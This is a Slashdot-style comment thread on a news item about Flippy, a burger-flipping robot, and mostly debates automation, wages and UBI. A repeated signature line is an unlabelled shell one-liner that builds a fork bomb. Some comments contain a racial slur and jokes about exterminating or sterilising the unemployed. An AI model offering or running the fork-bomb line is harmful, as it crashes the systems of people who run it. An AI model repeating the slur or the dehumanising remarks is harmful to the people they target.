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Flippy the Robot Takes Over Burger Duties At California Restaurant (ktla.com)
Chain eatery CaliBurger announced today that its location in Pasadena is the first to employ Flippy, a burger-flipping robot developed by Miso Robotics. The robot is able to take over the cooking duties after a human puts the patties on the grill. KTLA reports: "The kitchen of the future will always have people in it, but we see that kitchen as having people and robots," said David Zito, co-founder and chief executive officer of Miso Robotics. Flippy uses thermal imaging, 3D and camera vision to sense when to flip -- and when to remove. "It detects the temperature of the patty, the size of the patty and the temperature of the grill surface," explained Zito. The device also learns through artificial intelligence -- basically, the more burgers that Flippy flips, the smarter it gets. Right now, cheese and toppings are added by a co-worker. CaliBurger CEO John Miller says the robot can cut down on costs as it will work a position that has a high turnover rate. "It's not a fun job -- it's hot, it's greasy, it's dirty," said Miller about the grill cook position. Less turnover means less time training new grill cooks. Flippy costs about $60,000 minimum and is expected to be used at other CaliBurger locations soon.
Does Flippy flip flimsy fast food flippantly? Throw in Talkie Toaster and I'm THERE.
Corruption is convincing someone that the selfless ideal is the same as their selfish ideal.
Clean up after the robots?
havent seen this one in a while. wish rob malda was back. and klerck. and sexykellyosbourne. and adolphhitroll and wipo troll.
this about goats or n1ggers?
Actually this is Great News
We are sick and tired of having burger flippers protesting over wage increase
I like the first reason is because its not a fun job, and we can save money..
Using a general purpose assembly robot to flip burgers at a normal grill seems like a poor solution. Why not use a conveyor oven ? Or a two sided contact grill for one or two patties.
Suppose we could buy flippy for cheap, $5,000. Then we don't have to visit McDonald's for a burger. You can just tell the robot to cook your meal instead and save a ton of money.
...is not going to be happy with this.
maybe we should better have a robot who eats this crap.
Hey! It looks like you're making a burger!
Hey! It looks like you're making a burger!
Hey! It looks like you're making a burger!
https://www.google.com/search?q=flippy+burger+flipping+robot&client=opera&hs=nuX&source=lnt&tbs=cdr%3A1%2Ccd_min%3A2%2F28%2F2016%2Ccd_max%3A2%2F18%2F2018&tbm=
https://www.engadget.com/2017/03/08/burger-flipping-robot-flippy/
This story isn't new!
How is this an improvement over the double-sided grills that cook both sides at the same time?
Example: http://www.garland-group.com/P...
No, the minimum wage has absolutely nothing to do with this. It's about total cost per hour, it's about efficiency and machines are across the board more efficient than human beings, even if the human beings make next to nothing. Let's do the math.
The machine costs 60 000. Assume a pay of 5 dollars an hour and you're running the place 12 hours a day, 6 days a week. That comes down to 17280 a year. The machine will still be more cost-efficient that a human being., it will just take 3,5 years to pay for itself rather than the less than a year it will take on a 15 dollars an hour pay. Hell, China is leading the way in automation of production, and they're using it to replace workers that make around 10-15 bucks a day because the machines are simply more cost-efficient and reliable than human workers even at those wages. So your equivalents in China are essentially yelling: 'yeah, how about that, priced yourself right out of a job! If you only were satisfied with working at 3 dollars a day you maybe could have kept your job for another 5 years before it was automated!"
The thing to realize is that we're fast approaching a point in which untrained or lowly trained human labor will become essentially worthless, and even most positions requiring a higher education will be in the same situation a couple decades from now with the advances in AI. Anyone who thinks human beings can in the long term remain competitive with systems that are specifically designed to be more cost-efficient than humans, doesn't understand a thing about automation or economics, or what this shift means for economies overall.
"It is the business of the future to be dangerous" -Alfred North Whitehead
But this is wonderful news! They've created new jobs for humans, at chic restaurants that employ real human grill cooks! You'll pay $20 extra to have your burger flipped by a human, won't you.
Every story like this has a suspicious cost exactly like some kind of annual salary. Usually much higher than a human would be paid.
But if you look at what little the robot is actually capable of, your average hacker could build one that does the same for $2k or less. Turning it into a commercial product is of course hella more expensive until of course economies of supermassive scale kick in.
Side note: probably not the best time to be announcing this after that most recent X-Files episode...
That comes down to 17280 a year. The machine will still be more cost-efficient that a human being
Well, except that all it does is flip the burger... it doesn't put raw patties on the oven, it doesn't season it, it doesn't put cheese on it. And I doubt it's got any capacity to tell when something's wrong and stop and/or fix it. It doesn't come close to doing the full job. Robots do great for high volume production, like you want to churn out a million iPhones. But Momentum Machines showed off their burger-making robot in 2012 and it's still not here, this flipper is like 1% of the process. By all means automation is real... but this "we'll all be out of a job in five years" hyperbole is too much. Sure if you're young enough to be planning a career many decades out or what your kids will do when they grow up maybe it's a big deal. But when you see how much they struggle to automate the jobs even high school drop-outs do we're not going to have "I, robot" style assistants in my lifetime.
Live today, because you never know what tomorrow brings
McDonalds transitioned to use a two sided "clamshell" grill several decades ago, so there has been no burger flipping for some time.
Also this robot is quite slow compared to a human.
Not a useful robot.
Perhaps customers like to see the robot flipping action.
It's just flipping burgers. Will it make me a rare one if I ask for it?
Someone else is apparently putting the burgers on the grill, and cheese, and assembly of the burger.
Does the FDA have to approve kitchenbots, to ensure they're not using toxic fluids, non-sealed batteries, or lead based paint?
I know one thing for sure, there's probably some guy making $30 a day under the table, cleaning the grease dishes, and the robot.
No, the minimum wage has absolutely nothing to do with this. ..
It has EVERYTHING to do with this.
Oops, looks like you forget to refute the second paragraph, which totally destroyed your point. But hey, nice straw man.
All this does is flip the burger. There's already robots that cool and build the whole thing. How is this news? It's like showcasing a iPhone 6s as something new.
The machine costs 60 000. Assume a pay of 5 dollars an hour and you're running the place 12 hours a day, 6 days a week. That comes down to 17280 a year. The machine will still be more cost-efficient that a human being., it will just take 3,5 years to pay for itself rather than the less than a year it will take on a 15 dollars an hour pay.
In business it's a lot easier to justify an investment that pays off in one year than one which pays off in 3 to 5. So increasing the costs of human labour or decreasing the cost of machines leads to humans being replace with machines. I.e. your calculation actually proves the OP's point rather than disproving it.
It's no coincidence that McDonalds and co decided to start installing kiosks in addition to the workers taking orders at counters. Firstly it enables them to sell more stuff. Secondly it enables them to move some people from counter service to the kitchen. It's a lot easier to replace a human taking orders with a touchscreen than it to replace someone cooking and assembling burgers.
Still as a malicious AI would no doubt observe "Relax. It's not like we're grinding up the dead meatsacks to make the food for the ones we currently need to keep alive. Even though, come to think of it, that's a really good idea".
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
No. Again, the amount of the minimum wage has nothing to do with the facts that humans cannot compete with a machine specifically designed to be more cost-efficient at a given task. The fact that you still do not understand this after being given the example from China where pays are a fraction of the West baffles my mind.
Giess what? This has nothing to do with the argument.
No. There are plenty of western countries in which fast food wporkers make around or above 15 dollars an hour and are not in fact stuck in poverty. But the thing is, whether they make 5 dollars or 20 dollars an hour does not alter the fact that in 20-30 years no-one will be making anything doing these kinds of repetitive manual tasks because again no matter the awge point automation is the more efficient route to go, and that's what companies care about. Unless the societies at large address this by adopting systems like universal basic income, the vast majority of people will become stuck in poverty because they have no skillset that would allow them to find work, and assuming that everyone will simply acquire a higher education and be able to find a job is unrealistic, both because not everyone has the mental capacity to be highly educated, and secondly because there will simply not exist enough of these kinds of positions to employ everyone.
If your goal was to come off as the most stereotypical 'ignorant American', you've succeeded with flying colors. You do understand that every single industrialized country outside the US, including my own, already does this and does this with the health care costs being less than those in the US, right? Universal health care hasn't been a point of contention anywhere but in the States for several decades, as you're the only first world nation that still does not get that it's the waty to go if you want to both reduce the costs of the health care system and keep people healthier.
Again, I never claimed that, I pointed out that the root of the problem will remain totally regardless of whether the minimum wage exists or not and how much it is, and you chose to reply by wrapping yourself in the American flag and screaming about totally unrelated things.
You seriously need to do some reading on the topic(s) and educate yourself. Because if you think that automation and issues of poverty can be solved by removing or lowering the minimum wage, your level of ignorance is fast approaching that of your current president.
"It is the business of the future to be dangerous" -Alfred North Whitehead
...it's a lot easier to justify an investment that pays off in one year than one which pays off in 3 to 5.
That's if you were comparing two machines or some other capital asset.
We're comparing humans vs. machines.
The machine won't call in sick. The machine won't over sleep. The machine won't run off to college or get deported or go to the bathroom.
The machine wont get tired and slow down.
One day, the McD's will be ALL automated and you drive up, order, swipe your card and get your food.
The thing to realize is that we're fast approaching a point in which untrained or lowly trained human labor will become essentially worthless, and even most positions requiring a higher education will be in the same situation a couple decades from now with the advances in AI. Anyone who thinks human beings can in the long term remain competitive with systems that are specifically designed to be more cost-efficient than humans, doesn't understand a thing about automation or economics, or what this shift means for economies overall.
Uh, "shift" in economies?
When 20 - 30% of the human population is unemployable 10 - 20 years from now due to automation, there will be a considerable disruption to global economies. This alone will likely cause chaos, so we may not even get to the second phase.
When 90% of the human population is unemployable 30 - 40 years from now due to good-enough AI, there will be no "economy" to speak of. Most of the population will belong to the Global Welfare State. And UBI will become nothing more than Welfare 2.0 for the masses. The uber-rich who own the automation/AI solutions will be the only ones with an income, and they will do all the things they do today to avoid paying the taxes that will be necessary to fund UBI programs. The human race won't be thriving at that point; they will merely be surviving.
Solve for the Disease of Greed. Otherwise, the future is inevitable.
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That was not my point. My point is that looking at the wage made by the guy who's replaced (or partially replaced) by the machine is not an argument really. Put another way: saying that 'if people were just satisfied with making less they'd be safe from having their jobs automated' is a false statement.
To be clear, I'm not saying we'll all be out of jobs going ahead, but especially unskilled or lowly trained labor will be disappearing, and it's happening at a rate faster than you probably realize already. The factories that are moved from Asia back to the west employ a fraction of the people they used to, because automating as much as possible is the economically sound option, and this trend will only keep going, and it will get faster the more commonplace these systems become.
I'm not saying we'll get to 'I robot' -level even within my lifespan as someone who's soon 28, but we don't need to get that far for most non-university educated people to have trouble finding work when most of these menial tasks are automated, which will lead to major issues unless we're prepared.
"It is the business of the future to be dangerous" -Alfred North Whitehead
machines are across the board more efficient than human beings, even if the human beings make next to nothing.
Speaking as someone who makes these sorts of cost calculations almost daily such a blanket statement is completely untrue. Professionally I am a certified accountant and also an industrial engineer. I manage a small manufacturing company and have to make decisions on automation all the time. Whether a machine is more economically efficient depends on the specific situation. In particular it depends on the volume and value of what is being produced. Many seemingly simple tasks are actually quite hard to automate economically unless you are producing large quantities of the product.
Hell, China is leading the way in automation of production, and they're using it to replace workers that make around 10-15 bucks a day because the machines are simply more cost-efficient and reliable than human workers even at those wages.
That depends on what those Chinese workers are making. I've been to China and I assure you that there is no lack of work for their labor force. Once the unit volume of a product gets high enough, it makes sense to automate almost any process. Having lower labor costs simply means the required unit volume is higher but the calculation is the same. Foxconn can consider automating the assembly of iPhones because they make MILLIONS of them. But there are VAST numbers of things we need to make for which the cost of automation is prohibitive and will remain so for the foreseeable future. Turns out that humans are very flexible, easy to train, readily available, and (comparatively) inexpensive for many tasks both simple and complex. Automation will replace a lot of assembly work (and that is a good thing) but it is not going to replace it all.
Let me give you an example. On my production floor today we are building a wiring harness for a customer. We have a machine that can automate production of the wire leads that go into it. But for this machine to be economical it really needs a production run of about 500 pieces because of the setup time and tooling costs. But we are only making 30 of these harnesses. So for this product (and many others we make) it is provably cheaper to use people to manually make the wire leads. But even if we were making 50000 of these harnesses we STILL would need the people because the only thing the machine can do is make leads. It cannot do any of the hundreds of other tasks that go into making the product whereas I can train almost any human to do most of them and not have to pay $100K up front for a new machine to do each task. To fully automate this job would require unit volumes in the hundreds of thousands to millions. Point is that there is a LOT of headroom between making one unit and the number where automation starts to make sense for people to work in. And this isn't going to change no matter how much people worry about it.
The thing to realize is that we're fast approaching a point in which untrained or lowly trained human labor will become essentially worthless
Oh I wish that were actually true. My day job is running a company that does assembly work and we hire a fair amount of what could reasonably be called unskilled labor. For the unit volumes we produce (we make smaller quantities of a wide variety of products) there is no machine that could possibly economically replace these workers nor will there be one anytime soon.
There are several flaws in your argument.
1) Humans can be easily and quickly re-purposed to a different job. A burger flipping robot can just flip burgers and while it may be efficient at that task it is useless otherwise. To really replace a person you would need far more automation.
2) To replace a human who does more than one specialized task (and most do) you need a far more flexible set of automation which is not coincidentally FAR more expensive. Good luck asking the burger fli
if they don't weigh at least 400 pounds I just can't finish!
Because if I have to pay more for that, I am just not going.
Why would you go through the effort of making a robot arm to do this?
Seems to me you could bake these burgers in the same way bread is baked.
A conveyor belt that moves the burgers over the fire in a consistent way.
Thank you, Bradley Manning, Edward Snowden and so many others, for courageously defending humanity, my freedom and more!
1) Store burgers in a specially designed freezer that can be loaded and unloaded via robotics from a delivery vehicle.
2) The outside facing door opens and closes on robotic hinges.
3) Burgers are delivered on a carousel mail-slot system so that 8 stacks of 150 1cm thick burgers can be delivered directly from the truck to the restaurant. Make room for two of these stacks so that one can be empty and being replaced while the other is in use.
4) When a patty is needed, a door to the freezer is opened via robotics then a pushed from behind (with considerable force if necessary) onto a conveyor belt.
5) A metal chain conveyor belt then passes through an oven at the correct speed to cook the burger from above and below.
6) At the end of the conveyor, a similar mechanism has prepared the bun and toppings where the burger falls off the end of the grill into place.
For what a precision robotic arm costs, this solution would be similar. In addition, it should be possible to support automatic cleaning as well.
Fries are far easier to automate.
It should be possible to automate an entire fast food restaurant so that a single person can drive to 8 locations each day and perform checks and additional cleaning. Also it should be possible to completely automate the delivery, waste remove and pickup of empty food cartridges through outside accessible freezer designs. A single self-driving delivery truck could drive from warehouse to restaurant to restaurant resupplying and removing empties for 8 or more locations in a single shipment.
Replacing burger joint workers with robots is just a matter of initial investment. At $10 an employee, if it were to cost $100,000 to retrofit a restaurant with machinery to replace them, that would be 5 employees for a year. In reality, it would probably cost twice that. At which time it would be hard to justify. Of course, a company like McDonalds would have to foot the bill to handle that scale of development.
On the other hand, at $15 an hour, the ROI would be probably a year or less per restaurant. Certainly worth it.
Doughtnuts have been flipping themselves for generations.
I don't think the goal of society should be that we end up paying people a pittance for doing a tedious repetitive job that a machine can do.
If we are going to make people do tedious repetitive jobs, then we can at least pay them a reasonable amount.
The robot - will not calll in sick ..... figure out what other federally /state mandated item to insert here.
the robot - will not need family vacation days
the robot will not need Obamacare
the robot will not need payroll taxes to be paid
the robot will not need
at the end of the day - he probably is saving lots more than the 60k cost.
... the smart, AI-driven robot also figures that it's "not a fun job -- it's hot, it's greasy, it's dirty.", too. Going to have a robotic Sponge-bob hash slinging slasher on your hands.
Let me show you how this works out:
Let's say a Caliburger grill cook - a burger flipper - makes $9/hr. This is what Caliburger pays for a "prep" position. It may be more than that; Caliburger pays up to $11/hr for a lead cashier, but we'll go with the lowball.
Caliburger is open from 11am to 10 pm, or a total of 11 hours a day. The fry cook position has to be paid all those hours - not to the same employee in order to avoid overtime, but still, all the hours are worked in that position, so this is a fair way to look at the costs.
That's $9 x 11 hours x 365 days, which is $36,135.00 gross salary costs. Now add the per-employee tax overhead, and you're pretty near $40,000.00 / year, not counting any other costs such as uniforms, cleaning uniforms, liability insurance, employee benefits if any, etc. But you know what? We won't even count the tax costs. So:
The robot costs $60,000.00 (minimum... I presume there are added-cost options, but for $60k you get your burger flipper replaced, so we'll just focus on that.)
Let's look at a 5-year cost comparison, which I am presuming is the lifespan of the robot. That's very conservative in terms of hardware, but let's assume that a much better model will be made available and purchased within 5 years.
o The robot costs $60k x 1 ... which is $60,000.00
o The employee costs $36,135.00 x 5, which is $180,675.00
This means that in 5 years, Caliburger saves somewhere in the range of $120,000.00 by moving this job from an employee to the robot.
This is at $9 per hour. Not $15 per hour.
Which I've shown here is that the assumption that a raise to $15 / hour is what will create the motivation for a business like Caliburger to utilize a robot like this is nonsense.
The motivation already exists at the lowest income levels Caliburger is already providing. Sure, there's an even better case to be made for a $15 / hour wage, but the point is, the case was already made.
So no, the $15 minimum wage has nothing to do with this at all.
1) Caliburger Salary Reference
2) Caliburger Hours Reference
I've fallen off your lawn, and I can't get up.
He's baaaak, and staffs the kitchen at a FF joint.
No, the minimum wage has absolutely nothing to do with this. It's about total cost per hour, it's about efficiency and machines are across the board more efficient .....
No... you couldn't be more wrong here. While it's true that machines COULD be more-efficient than humans, Magnitude matters a lot.
A human worker that does the same stuff for $15/Hour that was previously done for $7.50/Hour is naturally 50% less efficient than before the increase.
It can very well be UP TO NOW (before the minimum wage) companies had a viable profitable business, AND considering developing and/or using machine cooks would be seen as highly risky.
Now with minimum wage increases looming the view on machines changes, because "This is now necessary for the business to survive and be profitable ---- we've gotta take this risk now!"
So the minimum wage increase becomes basically a catalyst that forces businesses in a direction they might not have explored, or considered an acceptable risk for a long time, otherwise.
Imagine that we are able to train all the untrained people. That would mean more trained people and that will lower the wages for trained jobs.
This is not a race to the bottom, this is a freefall.
And at some point enough people will be fed up with it. It will be just another class revolution as we have had many in the past already. Not sure if it will be like the French revolution where the Royalty of then will be replaced by the CxO of now. Or like the Russians when they threw out the Tzar or a social revolution with the Unions like they had in Europe. It could be something completely different altogether. Something we have not yet seen. But i guess it is going to be messy and the outcome might not be what anybody expected for the first few decades.
I can just pray to my atheist God that it will be after my lifetime.
Don't fight for your country, if your country does not fight for you.
maybe there's something wrong with a society whose only answer to advancing technology that reduces the need for labor is lower wages and lower standard of livings.
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My first job was at Burger King in 1974, and we had the conveyor belt broiler. Plop patties on the belt, they slid into a bin a few minutes later.
Letter To Iran
...is wondering what all the fuss is about. All people do there is put the patty on the rotating chain and out comes a fully cooked burger from the other side.
When Fascism comes to America, it will call itself Anti-Fascism, and tell you to give up your guns.
As I've always said, the US is heading toward insolvency because of automation. And it goes like this...
-First of all, take a look at the Federal Debt Federal Debt See that? Doesn't look too good, does it?
-Now, factor in globalism where there's a MASSIVE wealth transfer from United States of America to overseas. Any wealth generated in GDP is coming back to the US as opportunity, but concentrated in the major cities. This hollowed out the urban regions as they can't compete on both wages and product (it's why Trump won BTW).
-Add in automation, and now we have a force that's inherently DEFLATIONARY on the economy. It's tantamount to a slave force. Machines don't value themselves, so they're essentially free labor after you account human labor of design and maintenance of said machines.
-This will lead to lead to higher unemployment after the economic "Trump High" wears off (the crash will be a killer depression) in terms of less people in the work force as a over-all percentage of the population.
-More people will vote in a livable wage. More money is printed, massive stagflation kicks in from both inflationary and automated deflationary forces. Money becomes essentially a meaningless store of wealth while simultaneously being required.
-US dollar abandoned, or a massive World War settles reshapes the geopolitical and economic landscape. Or, a combination of all of the above.
Life is not for the lazy.
Sorry Timmy but you had a 1.9 GPA. In order to qualify for any kind of social assistance, ie UBI, you have to go see the autoDoc and get the snip snip procedure (Sterilization) otherwise have fun starving.
A no strings attached UBI will never happen even with a very high percentage of automation.
I for one will be using my Flippy robot with a club to run hippies/hipsters off my property rather than to feed them.
Right now, cheese and toppings are added by a co-worker .
What the actual fuck? No, this thing doesn't have co-workers.
Nope, no sig
When 20 - 30% of the human population is unemployable 10 - 20 years from now due to automation, there will be a considerable disruption to global economies.
This won't happen. We automated farming, we automated manufacture, we automated IT. Everything you use today used to take hundreds or thousands of times as many human labor hours to provide. That's right: we've eliminated 99.999% of all jobs in the past two centuries.
What we did, we started buying 10,000 times as much stuff, where "stuff" is quantified as "what used to take so much labor". We only need 1 in 10,000 workers to supply X now, so we buy 10,000 X, where X is the generic output unit.
Let's say your wage increased arbitrarily. At what point would you cease being able to spend money due to not being able to imagine anything you want to buy? Think about a good, high-quality, home-cooked meal with steak and real red sweet potatoes, fish, crabs, lobster, the expensive stuff. Now imagine eating that every day, every meal, and you pretty much just drive up to a McDonalds-alike and order it, and it's no more expensive than what you pay now for food. Would you slave away at home for hours eating cheap, or would you spend your limitless wealth on this new stuff?
The new stuff still costs $5 because it takes $5 worth of labor (jobs) to make it.
Scaling up your spending like that multiplies the meager labor requirements into something supported by... well, your spending. The diversion of wage into consumption creates revenue and thus profit. Seriously. Corporations don't create money when they pay you; they use the money people spend buying from them to pay wages.
The only problem is progress causes transitional unemployment. Too much at once--too fast for your economy to shift demand and drive new supply, thus reallocating labor to new jobs--causes a pile-up of unemployment. If it's paced correctly, progress is limitless in the sense that it never results in permanent increases in unemployment.
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All those English Majors not finding any job will now end 'putting' burgers instead of flipping them.
I cam heree to say the same thing. They also get flame broiling to boot. Some people prefer a non-broiled burger (jucier allgedly, but that's really more to do with the meat). But no reason one could not implement the same thing in a grill that was a chain driven burger sliding system.
I think the value of flippy is it can retro-fit an existing grill. But I doubt it costs less than just getting a flame broiler.
Some drink at the fountain of knowledge. Others just gargle.
[quote]The thing to realize is that we're fast approaching a point in which untrained or lowly trained human labor will become essentially worthless, [/quote]
Therefore we shouldn't be importing millions of untrained laborers under the guise that Americans wouldn't do the work - or should we?
If you're scared of your govt then you need to further restrict its powers
Vote 3rd Party in 2016 and beyond
Yes, you have good points. I question your mathematical analysis because you missed many factors.
The one thing you have totally missed, the $15 an hour minimum wage battle accelerated automation of these types of jobs. Yes, it was eventually going to happen, but it wasn't worth the R&D cost to build and design the robots yet when you can pay worker $8 an hour. When the workers and government start pushing $15 an hour, it became worth it and suddenly Kiosks start showing up, then burger flipping robots, etc, etc.
Same thing happened with gas prices. I work at a place that makes Biodiesel, when gas got up to $4 a gallon, suddenly we are getting grants to expand capacity, alternate fuels research starts going gang busters, then gas prices dropped back down and we are no producing as much biodiesel and most of the alternate fuel research stopped. Same thing here except once the $15 an hour goes in, it won't go away so companies started pushing the automation.
BTW, I am a Controls engineer, automation is my field. This is my field, I have been watching all of these trends and things happen for the past 15 years. If you can't see the connection between the $15 an hour discussion and automation, you just missed it.
Actually, the higher the minimum wage, the higher the money you save when using a robot!
Might as well rise it to $30 and save even more money!!
I for one, am greenlighting this (not that anybody's asking) but none of the comments have mentioned the bright side.
The original carbon-based unit can leave the robot alone, so the former can
1_go online on FB and mix it up with friends and family and Russians. Post fake news if he so chooses.
2_Earn UBI(Universal Basic Income), then pursue his real boyhood dream of becoming an evil overlord, with robots as slaves.
3_Pit one robot against another, so that the human race can watchRobot Gladiator Deathmatches, complete with pre-game trash talk and post-game interviews.
4_Profit!
Didn't see that one coming, eh?
Many have already pointed out that the equivalent thing could also be done with a much cheaper and simpler machine. But another point I haven't seen made: aren't these industrial style robots dangerous to be around? I would think a busy kitchen would be the wrong place for this type of thing. Or have these robot arms been made safe for humans to interact with?
min wage is $10.50-$11.00 now in ca (some citys higher)
Labor costs are more than just the pay rate/hr. There are payroll taxes, social security, benefits. So your 15/hr rate can easily cost the employer well over $20/hr. You would also have to factor in cleaning and maintenance costs for the robot. So your initial 60,00 plus yearly maintenance costs may be closer to 70,000 for the first year. Using your 12.hr days, it would pay for itself in about 10 months.
Some burger chains have been using two sided timed grills for over 30 years. This is just attention whoring.
This seems like a gimmick more than an efficiency or quality play. The fact that the robot is prominently displayed furthers this theory.
There shouldn't be jobs that can't support a person when worked full-time.
Either I end up supporting that person, or they become a vector of disease and crime contributing to blight.
Much better to have one person make a livable wage than 3 people making not even close to enough.
The amount of government assistance is about the same (efficiency gain of fewer people), but the company saves money and one person if freed from the system
The overall economy grows.
Wow, sent an e-mail as suggested when clicking on "use classic" banner, and got a fast response that addressed my msg
Exactly, minimum wage increases are about increasing innovation and productivity.
Why would you think that's a bad thing?
Wow, sent an e-mail as suggested when clicking on "use classic" banner, and got a fast response that addressed my msg
The thing to realize is that we're fast approaching a point in which untrained or lowly trained human labor will become essentially worthless, and even most positions requiring a higher education will be in the same situation a couple decades from now with the advances in AI. Anyone who thinks human beings can in the long term remain competitive with systems that are specifically designed to be more cost-efficient than humans, doesn't understand a thing about automation or economics, or what this shift means for economies overall.
I suppose if the goal is making the product as cheaply as possible, and nothing else matters, well then that's just great.
But between you and me and the guy living under the bridge, in my world the goal is to sell the damn hamburger. At some point, with the continued elimination of jobs and the upward creep into white collar jobs, we might make those burgers very cheap indeed, but not have much of a consumer market..
For some reason a lot of people who know a lot about economics and making money on the supply side completely ignore the side of the equation that is the consumer. If people who would use your product have no money because they cannot find work, then they aren't buying your wonderful cheap product.
Of course, what is occurring is as jobs are eliminated, the first adopters of this technology do well. That's because others who would buy the product will still be employed. But as more jobs are eliminated, there will certainly come a tipping point when your customers disappear.
And if what is now surplus population is supported by a minimum basic income, well that's just going to amount to a tax that sucks up what profit you might have made by eliminating the jobs.
And as for retraining for a higher level job, certainly some can be retrained, but on the scale of human abilities, a lot of people working the most menial jobs are there because that's about the level they are capable of working at.
Since this is inevitable, there needs to be more discussion on the looming problem of what to do with the people who have been made completely useless.
Do we simply terminate them? Put them in concentration camps and feed them as little as possible and work at shortening their lifespan as much as possible in order to not spend too much on them?
Because the effects of this are completely ignored, or given the answer "Well someone has to keep the robots running" as some sort of strange idea that somehow more jobs will be created keeping the automation running than were eliminated by the automation - that would be an utter failure of the rationale for the automation.
Intead, we are charging ahead with a supply side only rationale which looks good for a short time, but is unsustainable.
We'll probably be making some tough decisions in the near future. The dark side of me envisions a new universal health care system that consists of a .38 cal pistol and cyanide capsules. If you become unproductive with no real options, you cure the problem with your medicine of choice.
The shepherds did so well protecting the flock that the sheep no longer believed that wolves existed.
All the unskilled workers the robots are replacing will eventually become meat patties.
If you use an arm, they can use a standard cheap grill. For now, all it does it flip burgers, but either with a second arm, or with attachments on the primary arm, it could switch to do more tasks itself (adding cheese, and the top of the bun.) the arm is a good step along the way, where the moving bed doesn't give a step on the way to further automation.
You could get a rewarding job in a fast food "restaurant" as a "patty plopper". Do you have what it takes to keep up with Flippy?
CUR ALLOC 20195.....5804M
Well, except that all it does is flip the burger
You say that like it's no big deal, but it's a really, really big deal. It doesn't call in sick. It doesn't have car trouble and miss a shift. It doesn't come in late. It doesn't come in hungover. It doesn't cause drama with the other employees. It doesn't spit in the food. It doesn't require training every 3-4 months because the previous robot doing that job quit, and it's a new hire. And when new ones are deployed, they don't need training. They can just have the brains of the current one copied over.
All of this represents huge savings for a company. It's not just the cost of the robot that has to be considered. It's part of a much bigger structure, and I'd bet that it immediately cuts down on some externalized costs.
And yes, all this does is flip a burger. But how much longer before another "all it does" is cut potatoes and fry them? And how much longer before another "all it does" is season and form patties? (Actually, for most big chains that's happened already.)
But when you see how much they struggle to automate the jobs even high school drop-outs do....
Like flip burgers?
I'm really not sure how you come to the conclusion that the concern of automating jobs away is hyperbole. Lets take all these hypothetical 18 year old HS dropouts who used to make $7/hr flipping burgers. Kids who can't really do math, struggle with basic literacy, and in short don't have really useful life skills. What other jobs are increasing in number that would fit those (lack of) skill-sets, in order to offset the ones lost to automation?
We're automating janitorial work, kitchen work, automotive work, factory work, etc. Almost every possible job that someone with minimal skills could do is getting squeezed, and there just aren't new ones being created. What new jobs are being created are high-skill jobs, and that doesn't offset the loss of low-skill jobs.
Can you point to an industry with an increasing need for low-skill workers? If so, please share. Because I can't find anywhere near enough to dent the number of people that are and will be put out of work due to automation.
Velociraptor = Distiraptor / Timeraptor
THIS.
The real minimum wage is zero.
Is it better to make $100/year with $1 bread, or $1million/year with $10,000 bread?
Suggests Dylan as a prophet. A hard rain's going to fall. I feel it too.
It looks like you're flipping a burger! Would you like help with that?
When the humans flock to the human-staffed places, the robots will be unemployed --- they should probably just learn to pick tomatoes and solve our illegal immigration problems that way.
Slavery didn't end because of the cotton-picking robots that pick our cotton now. The end of slavery drove development of those robots, and now, those robots are more cost effective than slaves! They would have ended slavery had they existed ... humans are really inefficient ...
One point, on universal healthcare, that is usually ignored: The US spends MASSIVE amounts of money funding health care, which in turn allows health care companies to use it as a sponge: Making up for profits lost in other markets. They can charge less in France because they make up for it in the US.
I personally am in favor of single payer healthcare in the US, being a US citizen, but once that money making machine is gone, do you really think costs across the world won't increase significantly?
If I was British/French/Canadian/etc, I'd be praying the US never nationalizes health care.
How can a human put the stuff on the grill, or put the cheese on afterwards? Do they have to shut down the robot, enter the safety cage, exit the cage, turn on the robot. I don't see how you can do that with 'food' sitting on the grill.
The pictures in the article don't show any room. The human co-worker would have to slide up next to the robot, get smashed in the gut or the head by a heavy steel pneumatic arm, and then they wouldn't have to worry about their minimum wage job anymore.
--Welcome to the Realm of the Hawke--
The McDonalds kiosks are a nightmare: Nobody ever uses them, staff have to be dedicated to TRY to get people to use them, Half the time they're out of receipts and you give up, the other half the time you pay cash and have to use the counter-person anyway.
But more importantly, they're a failure because they put the impetus for resolving problems on the purchaser, not the staff. If I use a kiosk and can't find my item/can't order what I want, the problem becomes mine.I have to fix it, I feel silly if I can't.
If I order from a person, the problem immediately becomes theirs. They have at least some training on this, and understand the system better.
All kiosks do in McDonalds is make people feel dumb. The last thing you want to do, as a business, is have your customers associate shopping there with feeling embarrassed and stupid.
Is essentially basic In-N-Out ripoff, Check out their menu and compare.
This is just a publicity stunt
Hummingbird drone with pepper spray.
Or was that tongue-in-cheek? A serious conversation about how Our Betters will arms their compounds is perfectly appropriate here. If you score the contract for their tazerbots your grandkids won't even have to live in terrafoam.
Better to be the jackboot, or whatever Card said.
That *might* apply to drugs and devices, but the vast majority of the cost of health care is doctors' & nurses' salaries, real estate, and facilities. None of those are things that are made cheaper abroad by being overpriced in the US.
To be honest I've never used one. Still even if McDonalds have messed up the implementation it doesn't doom the idea. It'd be like saying 'Well the [first automobile] is unreliable. Let's stick to horses'.
Technology will move on. I'm sure in the long run you'll see restaurants where you order at a console and the food is prepared by unseen humans. In fact I went to one in NYC
https://www.youtube.com/watch?...
Also in the long run someone's going to work out a way for those meals to be mixed by machines with humans just loading the ingredient hoppers.
And increasing the minimum wage will drive this process faster. To be honest things like Eatsa are going to happen anyway.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The uber-rich who own the automation/AI solutions will be the only ones with an income, and they will do all the things they do today to avoid paying the taxes that will be necessary to fund UBI programs.
Assuming they're not too busy being strung up by the masses.
Hmm...and what percentage of your salary goes to taxes, eh? Do you have a lot of people near the 50% range?
Also, you can afford socialized medicine in a large part due to you not having to pay for your own defense like the US does...we not only cover our asses, but also much of Europe and all other allies. If we pull back on that, pull back on all the foreign aid/bribes....ya'll would likely have to think how much you do socialize medicine, those multi-week annual vacations, and the other freebies you give out to your populace, including now being overrun by your new "citizens" migrating from the middle east.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
Nice, so the next step is put video cameras around the work place and record all the human actions within 2-3 months and then replace the human worker with robot hand. It is gonna be way more complicated than flipping burgers, but it will really make human workers obsolete once and forever.
The cameras can be lace around all work places of similar job type.
> the problem becomes mine I have to fix it
Every business wants to do this with everything. We have your money, why are you still here?
Fine, it's our problem. We still don't "fix" shit, here's a refund. It's "no questions asked" because we don't bother with that either.
> we already eliminated unskilled jobs
